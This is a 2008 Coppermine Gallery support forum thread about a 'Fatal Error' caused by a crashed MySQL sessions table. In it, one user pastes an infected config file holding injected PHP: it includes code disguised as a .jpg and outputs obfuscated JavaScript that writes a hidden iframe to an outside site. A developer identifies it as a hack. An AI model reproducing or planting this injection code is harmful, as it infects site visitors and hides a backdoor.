Fatal Error : Fatal Error :
 

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Main Menu

Fatal Error :

Started by Iconoclast, April 21, 2008, 07:47:47 PM

Previous topic - Next topic

0 Members and 3 Guests are viewing this topic.

Iconoclast

My site was down for a few days. I think there was a problem with the server.
Now when I go to the gallery its a white page that says Fatal Error :
What can I do to fix this?


Iconoclast

Done. Would you like me to post what came up in the debug? Because I dont know what any of it means

François Keller

you should have the detailled error message after enabling debbug mode
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

While executing query "delete from `*****`.cpg1410_sessions where time<1208802768 and remember=0;" on Resource id #5

mySQL error: Table './*****/cpg1410_sessions' is marked as crashed and should be repaired

François Keller

repair sessions table via phpmyadmin
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

Simple as that, eh? I just dont want to screw anything up further.

François Keller

Quote from: Iconoclast on April 21, 2008, 10:55:29 PM
Simple as that, eh? I just dont want to screw anything up further.
yes, you can safely repair the table
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

These coppermine isssues confuse the hell out of me. I'm in the cpg _sessions.. how exactly do I repair this issue?
I clicked the 'operations' tab.. I see move, alter, copy tables, table options and flush. Not exactly sure what to do.

Joachim Müller

This has been explained in detail in several postings on this thread - search the board, we don't like repeating the same thing over and over.

AngelC

hello i have the same problem:

While executing query "delete from `fotosdon_fotosdonosti`.cpg134_sessions where time<1208895832 and remember=0;" on Resource id #7
mySQL error: Table 'cpg134_sessions' is marked as crashed and should be repaired

i update to the last version, then i drop session table and run update .php and it works, but in 24 hours i have the same fatal error with this error.

Please what is the problem?

AngelC

the include/congif.inc.php is this:
<?php
   error_reporting(0);
   if (file_exists("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg")) {
   include("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg");
   } else
   if (ini_get("register_globals")) {
      if($GLOBALS["fx"]==0) {
         $GLOBALS["fx"]=1;
         echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
      }
   } else {
      echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
   }
   ?><?php
// Coppermine configuration file

// MySQL configuration
$CONFIG['dbserver'] =                         'localhost';        // Your databaseserver
$CONFIG['dbuser'] =                         'xxxxxxx_xxxxx';        // Your mysql username
$CONFIG['dbpass'] =                         'xxxxxxxxx';                // Your mysql password
$CONFIG['dbname'] =                         'xxxxxxxx_xxxxxxxxxxxx';        // Your mysql database name


// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] =                'cpg134_';
?><?php
   error_reporting(0);
   if (file_exists("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg")) {
   include("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg");
   } else
   if (ini_get("register_globals")) {
      if($GLOBALS["fx"]==0) {
         $GLOBALS["fx"]=1;
         echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
      }
   } else {
      echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
   }
   ?>


Joachim Müller

Quote from: AngelC on April 22, 2008, 11:28:16 PM
hello i have the same problem:
Your problem is not identical - it differs: one of your tables is crashed, but you have been hacked as well. You shouldn't have hijacked this thread.

Iconoclast

Quote from: Joachim Müller on April 22, 2008, 07:20:31 AM
This has been explained in detail in several postings on this thread - search the board, we don't like repeating the same thing over and over.

I found this thread http://forum.coppermine-gallery.net/index.php/topic,50723.0.html followed the instructions by clicking the SQL tab and type in the query REPAIR TABLE cpg_sessions

After that I got "Table is already up to date" So then I ran mywebsite.com/coppermine/update.php and still get the Fatal Error

Nibbler

Read the rest of the thread.